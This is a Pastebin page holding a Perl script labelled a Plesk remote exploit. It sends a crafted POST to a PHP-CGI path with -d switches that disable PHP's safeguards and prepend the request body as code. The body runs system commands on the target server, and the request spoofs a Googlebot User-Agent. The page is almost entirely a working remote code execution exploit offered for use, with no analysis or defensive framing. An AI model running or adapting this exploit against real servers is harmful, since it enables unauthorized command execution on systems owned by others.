Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #plesk remote exploit by kingcope
- #all your base belongs to me :>
- use strict;
- use warnings;
- use IO::Socket;
- use URI::Escape;
- main {
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => 80,
- Proto => 'tcp') or die "OH GOD HOW DID THIS GET HERE I AM NOT GOOD WITH SOCKETS";
- my $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
- my $arguments = uri_escape("-d","\0-\377"). "+" .
- uri_escape("allow_url_include=on","\0-\377"). "+" .
- uri_escape("-d","\0-\377"). "+" .
- uri_escape("safe_mode=off","\0-\377"). "+" .
- uri_escape("-d","\0-\377"). "+" .
- uri_escape("suhosin.simulation=on","\0-\377"). "+" .
- uri_escape("-d","\0-\377"). "+" .
- uri_escape("disable_functions=\"\"","\0-\377"). "+" .
- uri_escape("-d","\0-\377"). "+" .
- uri_escape("open_basedir=none","\0-\377"). "+" .
- uri_escape("-d","\0-\377"). "+" .
- uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
- uri_escape("-n","\0-\377");
- my $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
- print $sock "POST /$path?$arguments HTTP/1.1\r\n"
- ."Host: $ARGV[0]\r\n"
- ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
- ."Content-Type: application/x-www-form-urlencoded\r\n"
- ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
- while(<$sock>) {
- print;
- }
- }
- &main();
Add Comment
Please, Sign In to add comment